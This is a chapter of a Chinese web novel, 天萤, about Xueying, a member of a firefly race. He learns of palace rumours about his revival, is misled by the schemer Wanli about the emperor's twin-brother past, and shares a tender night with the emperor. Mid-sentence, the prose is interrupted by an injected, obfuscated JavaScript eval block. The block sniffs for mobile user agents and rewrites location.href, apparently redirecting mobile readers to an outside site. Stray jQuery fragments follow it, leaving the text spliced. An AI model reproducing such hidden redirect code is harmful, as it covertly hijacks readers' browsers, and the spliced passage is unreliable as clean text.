22. 第 22 章

作品:《天萤

    前夜闹腾半宿,第二天早上,雪萤又被格外开恩不必早起上朝,于是他又一觉睡到大天亮,才爬起来找吃的。


    新的花蜜还没有送来,主上说皇城有一家专门做蜂蜜生意的商贾,到时候叫他们专门为他筹备花蜜,什么口味都给他弄齐全,甚至要是有了新口味也会给他送来尝鲜,这让雪萤十分的期待。


    他出门时早朝已经结束,于是他直接去议政殿寻找他的主上。刚走到门外时,忽然看见一个熟悉的人从里面出来。


    雪萤站在原地,指着那人:“你是……”


    他一下子想了起来:“凌阳侯的长史!”


    长史殷勤地上前来跟他行礼:“见过雪大人。”


    雪萤好奇地问:“你怎么没有跟凌阳侯一起呢?自己就跑来见主上啦。”


    不知是不是错觉,长史似乎擦了擦额头的汗,打着哈哈道:“雪大人这是哪的话,下官虽然是凌阳侯的幕僚,但也是陛下的臣子,陛下既然召见,那下官自然要来,倒也没必要时时与侯爷一起。”


    雪萤“哦”一声:“我还说要是凌阳侯也在,想问问什么时候能再去凌阳侯府玩。”


    长史神色呆滞了一瞬:“再?”


    雪萤:“……”


    糟糕,怎么又说漏嘴了。


    他结结巴巴道:“不是再,雪萤刚醒来不久,还不怎么会说话,说错了。”


    长史也干巴巴地笑着:“下官就说,雪大人应该没去过侯府才是……”


    雪萤用力点头:“当然!雪萤很正直的,绝对不会做那种,偷偷跑到别人府里房梁上偷听,还趁乱插话的事情!”


    长史:“……”


    倒也没必要这么“正直”。


    过了一会儿,他非常生硬地拍着大腿笑道:“哈哈,是啊,是啊,那肯定的嘛,雪大人是什么人……”


    两人在尴尬的气氛中又说了几句话,各自告辞离开,长史出宫,雪萤进书房找他的主上。


    义蛾生今日叫他来,打算将御殿督卫名册交给他,让他正式接手御殿督卫的人事管理,负责人员考核、选拔以及录用、淘汰等等。这些事交给雪萤做,他并不太担心,雪萤本就聪明,以前就做得很好的事情,现在也能做好,况且如今御殿督卫为首那几人曾经都是雪萤手底下的人,知道该怎么辅助他。


    雪萤进门来,没等他跪下行礼,就被皇帝招手叫去。义蛾生问他:“吃过饭了么?”


    “吃了!”雪萤说着就想往他身边凑,“主上要不要亲自尝尝?”


    义蛾生面无表情拿一根手指抵着他的额头,不让他继续靠过来:“这儿是办公的地方,不准做不正经的话。”


    见雪萤要张嘴,义蛾生又说:“不正经的话也不能说。”


    雪萤便将那口气憋住,鼓起了腮帮,看着有些气鼓鼓的。


    等他的主上拿手指将他的腮帮戳平,雪萤就问:“对了主上,凌阳侯的长史怎么一个人过来了?”


    “你刚碰见他了?”义蛾生一想便是,他这问题问得实在多余,“自己猜猜看。”


    雪萤想了想:“嗯……”


    他并没有想多久,便犹豫着说:“该不会,长史其实是主上的人吧……”


    他将前阵子发生的事,还有主上跟他讲过的道理串联起来,很快便意识到先前他那随手的一把器珠就能撼动凌阳侯,并不是那么简单的一件事,所以才有了这样的猜测。


    义蛾生淡淡地笑了笑,夸奖他:“雪萤真聪明。”


    多的没再说什么,然后把早先备好的名册推给雪萤:“你今日没别的事,就拿着名册再去认认人,看看有没有什么缺漏的职位,过阵子也该招募一批人进来了。“


    他现在每日都要提前想好叫雪萤做什么,叫他能够最大限度地发挥自己的专长,但又不会离开自己的视野,也不让他去与朝中大臣、贵族子弟结交来往,他怕不这么做,他会先疯起来,将雪萤关在某处除了他没人知道的地方,要他彻底属于自己,也要剥夺他的自由。


    雪萤将名册抱在怀中:“知道啦。”


    他转身就要离开,刚走没两步,忽然想起什么,折回来跟皇帝告别:“主上,我走了哦。”说过后,这才蹦蹦跳跳出了书房。


    义蛾生盯着他的背影看,直到看不见了,这才低下头,继续看奏折。


    刚出了门,迎面撞见谢陵走来。谢陵一见雪萤,上前来行礼:“大人,属下正找您。”


    雪萤奇怪道:“有什么事么?”


    两人从议政殿门外走开,走了好一段距离,谢陵才道:“近日宫里出现一些流言,内容与大人有关……”


    雪萤吃惊:“跟我有关?”


    “是。”谢陵微微点头,“时间有限,属下只大致调查了一番,这些流言大致说的是,大人死了十年,却一朝复生,此事有悖常理,恐怕是……”


    雪萤问:“恐怕是什么?”


    谢陵迟疑许久,才继续道:“恐怕是邪祟横生。”


    雪萤惊讶地瞪大眼:“雪萤不是邪祟,雪萤是天萤族的人,天萤族本就可以死而复生一次。”


    他虽然没了记忆,但这是刻在他骨子里的本能,所以他知道自己有怎样的能力。


    谢陵眼神有些复杂:“这件事大家确实都知道,但是,现在的问题是……大人身为天萤族,并没有在死后立即复生,而是等了十年,而且……”


    而且,陛下应该还没有告诉雪萤,他其实并没有完全度过蜕化期,步入成年,生出可以让他死而复生的“体甲”。传谣之人必定是太后那边的人,所以才清楚这么多内情,编得也是有模有样。


    自从雪萤接手管事后,谢陵很少再直接向皇帝上奏,凡事都先汇报给雪萤。但今日这事,谢陵清楚有些话不能讲给雪萤听,所以他一开始的打算本来是见陛下,但雪萤这边,又不能让他完全不知情。


    雪萤皱着眉毛,露出有些烦恼的表情。过了一会儿,他忽然想到什么:“我知道该向谁打听了,谢陵,我先去调查一番!”


    他说着便跑开了,跟一阵风一样,速度快到谢陵根本没机会阻止,而后谢陵才反应过来,雪萤该是又去找万笠了。


    这么想着,谢陵心头生出些不安,连忙转身匆匆去见陛下。


    义蛾生听他说过后,似乎并没有多意外,只问:“流言从哪传起来的?”


    谢陵答道:“应该是皇陵那边,从禁军中传出来的。”


    义蛾生想了想说:“暂且不管他们,静观其变。”


    雪萤没花多少功夫便找到了万笠。


    万笠正在湖中亭子里乘凉,有两名女孩伺候着他。一个坐在旁侧剥葡萄喂给他吃,另一个坐在椅子上,让他将脑袋放在自己膝上,双手替他按摩着头部,而他自己躺在长椅上,两只眼睛分别盖着黄瓜片,很是惬意的样子。


    见雪萤无声无息地飘进来,女孩们都吓了一跳,纷纷躲到旁边去。万笠揭开一侧眼睛的黄瓜片看了一眼,冲雪萤招招手:“小雪萤,你怎么来啦?来得正好,上次你不说想学按摩手法,快来看看别人是怎么给我按摩的。”


    雪萤“哦“了一声,在旁边凳子坐下,正要认真观摩学习,忽然想起自己来是有正事的,连忙站起身,两只手将万笠眼睛上的黄瓜片各自拿开:“万笠,我有事要问你。”


    万笠睁开眼:“什么事儿?”


    雪萤气鼓鼓地说:“最近有人在背后说雪萤的坏话,说雪萤是‘邪祟’,你知道怎么回事吗?”


    万笠笑了,他当然知道,他不但知道,那些流言还是他编出来的。


    先前禁军叫皇帝禁足在皇陵,听说这其中还有太后的默认,禁军中那些养尊处优的少爷们知道后,都有点埋怨涂长东的意思,把涂长东整得心情郁卒。太后何等的精明,怕涂长东记恨她,所以要把祸水往雪萤身上引,又为了给禁军找点事做,所以才让万笠编好了流言,让禁军拿出去到处传,不但要在宫里传,还要他们拿回家,在公卿朝臣中传,传得人尽皆知。


    涂长东这蠢货却不知道太后在算计他,还真以为自己报复到了雪萤和皇帝。万笠幸灾乐祸地想,传吧,看到时候皇帝怎么弄死他。


    万笠装作有些惊讶:“到底怎么一回事?”


    雪萤便将谢陵给他说的话,仔仔细细全部讲给万笠听。


    万笠假模假样地说:“那这还真是过分!不过吧,小雪萤,我感觉这些流言会传起来,其实也不太奇怪。”


    雪萤忙问:“为什么?”


    万笠摆摆手让女孩们离开亭子,然后看着雪萤说:“你没了记忆,忘记当年发生的事情,我倒是知道一些,可以讲给你听,但你不能生气。”


    雪萤很听话地点头:“我不会生气的。”


    万笠这才又道:“小雪萤,你是天萤族,你应该知道天萤族需要完成六次蜕化期,才能进入成年态,生出可以死而复生一次的体甲吧?”


    雪萤说:“我知道。”


    万笠微微一笑:“可问题就在于,你并没有完成蜕化期,而是卡在第五次,所以你哪来的复生体甲呢?你本来该和普通人一样,死了就是死了,可谁想过了十年你又活过来了,大家觉得害怕也不奇怪吧。”


    雪萤惊讶地睁大眼:“没有体甲……怎么可能?!”


    万笠跟他说:“你想知道为什么吗?还记得我上次跟你说的,你可能有另一个主人么?”


    雪萤没说话,但他神色分明是记得的。


    万笠又道:“你是不知道,但大家都知道,当年的太子,也就是你名义上真正的主人,他其实有一位长得一模一样的孪生兄长。当年先皇和太后怕两个孩子一起被人暗算死了,又怕日后二人争权,于是只立了其中之一为太子,而太子的兄长么,就无名无份地活在暗处,必要时成为太子的替身,或者为太子送死。”


    这些事雪萤闻所未闻,他听得有些惊呆了,许久都反应不过来,万笠却还在继续说。


    “你当年名义上是给太子做侍卫,实则是侍奉他们二人,白天一个,晚上一个。这事当年是秘密,他们连你也没有告诉,所以你只当自己只有一个主人,那就是太子,直到先皇和太子相继死去,他二人身世这才透了出来,这国不可一日无君,没办法,只好叫太子兄长登基。”


    雪萤有些头晕目眩:“所以……”


    万笠赶忙抢答:“所以,现在的皇帝其实是假太子,他野心勃勃,不愿意做别人的替身,当年发起政变夺权太子,真太子早叫他弄死了。”


    雪萤的声音都在发颤:“那这与我没有度过蜕化期有什么关系?”


    万笠十分狡猾地说:“当然是因为你对太子忠心耿耿,让皇帝很是妒恨,所以拿天萤族的族长继承人威胁他们,不让你回天萤谷完成蜕化期。”


    他又道:“不知道你还记不记得,你死之前,皇帝威胁太子把你送给他,太子被逼无法,只好答应了,但你一心护主,趁此机会暗行刺杀之事,但事发暴露,你就自尽而亡……”


    这件事,雪萤当然记得的。他死前最后一幕就是叫太子送到废王手中,他拿着刀,刺了废王一刀,并不致命,而后他就将那刀刺进了自己脖子。


    雪萤抬头,眼睛里蒙上一层雾蒙蒙的水气。他看起来有些伤心欲绝,万笠心里乐得不行,嘴上却假惺惺安慰道:“当然了,这些都只是我们这些外人看见的事情,我早跟你说过,你自己多看看,多想想,总会发现事情有另一面。”


    雪萤却不再说话,他好像受到了很大的打击,一声不吭地豁然起身,离开亭子。


    两名女孩还站在亭子外,从她们身旁经过时,雪萤忽然停下脚步,冷不丁地问她们:“你们都知道,皇帝有一个孪生兄弟?”


    女孩们面面相觑,不知雪萤有何用


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418519|168916||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    意,好一会儿才磕磕巴巴答道:“知,知道呀,全天下人应该都知道。”


    全天下人都知道!


    雪萤憋了一肚子气,全天下人的人都知道的事情,就只有他不知道!


    前夜入寝时,是义蛾生冷淡着一张脸,雪萤偷偷观察他的脸色。到了这夜,反倒变成雪萤满脸不高兴,义蛾生偷偷观察他的脸色。


    白日里听谢陵说起雪萤可能会跑去向万笠打听,义蛾生也没打算采取任何举措。他本来就有放任雪萤知情的意思,又怎么会阻拦呢?看雪萤这会儿的反应,该是知道了什么,就算不知当年事情全貌,也该知道,他与太子是容貌一致的孪生子。


    义蛾生心里有些微忐忑,但见雪萤似乎不打算说什么,他便也没什么要说的,只沉默着上了床,前夜还亲密相拥相吻的二人,这才过一日,又泾渭分明的各睡各的。


    他躺下没多久,听见身后有衣物摩擦的悉索声,起身转头一看,正见雪萤蹲在他床前,垂着他那双清澈无瑕的狗狗眼,像个丧气小狗。


    义蛾生问:“怎么不睡?”


    雪萤给自己做着心理建设,好一会儿,才说:“主上,雪萤可不可以问您一个问题?”


    义蛾生心头轻轻一颤,心想着,这一刻,还是来了。


    他竭力按压住心底生出的不安与焦躁,温声道:“你问。”


    雪萤便趴在床边,问他:“主上,您为什么……为什么要叫这个名字呢?”


    义蛾生愣住了:“什么?”


    不是,这小孩儿怎么又不按常理出牌……他都已经想好了雪萤可能会问的一切问题,并且预设了多个回答,怎么一个都没用上呢?


    雪萤神色变得有些惴惴不安:“这个,不能问嘛?”


    义蛾生回过神来,失笑:“不是不能问……”


    是没想到你会问这个问题。


    义蛾生有些不太确定,反问道:“你真的想问这个?”


    雪萤歪过头:“是啊。”


    义蛾生还不死心:“没别的想问了?”


    雪萤疑惑地缓缓摇头。


    义蛾生看着他许久,刚筑造起来的坚固心防又叫雪萤轻飘飘地击碎了。他无奈地叹了声气,把雪萤从地上抱起来,放到床上挨近自己睡着,心想他这辈子活着就是要栽进名为“雪萤”的坑里,还是栽得爬都爬不出来的那种。


    义蛾生将他搂在怀里:“你也觉得这个名字……”


    很轻贱,是么?


    他话没有说完,但雪萤却很明白,于是点了点头。主上这样尊贵的人,这么一个名字,看起来既随意,又不好,怎么能够配得上他呢?


    义蛾生很轻地笑了笑:“这名字,是朕自己给自己取的。”


    原来主上以前真的没有名字……雪萤微微瞪大眼,他想起主上想迷晕他的那夜,在他耳边说过自己“过去没有名字”,万笠白天也跟他说,太子的孪生兄长无名无份,原来真的是,连名字都不配拥有。


    雪萤说:“那为什么……不取一个好听一些的呢?”


    义蛾生摸了摸他的脸颊:“因为朕这一生,譬如飞蛾。”


    雪萤心头猛地一颤,在一瞬间的震撼之后,随之而来的,是他自己都不知道为什么会出现的酸楚。


    他的主上依然只是淡淡笑着:“一辈子活在黑暗中,却又不甘心,于是想要扑向烈火,哪怕最后的结局是……焚身化作灰烬。”


    这便是,他原本的命运,这个名字,对他来说,再适合不过。


    他解答了雪萤的疑问,想知道雪萤会有怎样的反应,结果刚一低头,就蹭了一下巴的水,那是雪萤的眼泪。


    雪萤一边抽抽嗒嗒地哭着,一边搂着他的脖子说:“主上……不要死。”


    义蛾生愣了愣,又是失笑。


    他说什么很过分的话了么?怎么这就哭上了,还哭得这么伤心。


    到底是没了记忆,心性比以前更要单纯,一句简简单单的话都能叫他哭个不停。不过这样也好,义蛾生心想,这宫里人人都会喜怒不形于色,戴着一张假面载歌载舞,唯有雪萤是不一样的,有他护着在,让雪萤保留这份天性也没关系。


    雪萤抬起头,拿他水淋淋的嘴唇在他主上脸侧蹭来蹭去,然后模模糊糊地说:“也不要扑火,让火烧到很痛的……”


    义蛾生忍不住的笑:“这只是个比喻,不是真的要被火烧到。”


    雪萤慢慢收了眼泪,仔细思考着他说的话,又懵懵懂懂地问:“是想追求光明的意思嘛?”


    义蛾生抬手替他擦了擦脸颊,很轻地“嗯”了一声。


    “那……”雪萤抱着他的手臂,“那主上以后不要说‘扑火’,听起来很不吉利,可以说‘扑雪萤’,雪萤是萤火虫,也可以发光,绝对不会伤到主上,这是不是比‘扑火’好多了……”


    义蛾生这回真叫他逗得笑起来。他不知道今晚雪萤为什么突然要问他的名字,但他知道,他的宝贝是真的想要他开心起来。


    他抬手将雪萤推到旁边躺着,雪萤歪着头,迷糊地“唔?”了一声。


    义蛾生便道:“你不是叫朕‘扑雪萤’么,朕先扑一扑,看看感觉怎么样,才能考虑换种说法。”


    原来是这样!雪萤恍然大悟,他躺在床上,大大地摊开身子,然后叫他的主上:“来嘛来嘛,雪萤真的很好扑的,主上快来试试……”


    义蛾生忍不住地笑,又让他勾得心神激荡,但最后也只是在他身旁侧伏着,将他搂在怀里,仔仔细细地亲了好一会儿,然后紧紧地抱着他睡了。


    临到快要睡着时,雪萤还没忘记这件事,迷迷瞪瞪地问:“雪萤是不是很好扑?”


    义蛾生低头在他已经抬不起来的眼皮上亲了亲:“是啊,又香又软,比扑火好一万倍。”


    雪萤这才露出甜蜜的笑容,安然地让主上抱在怀里睡过去。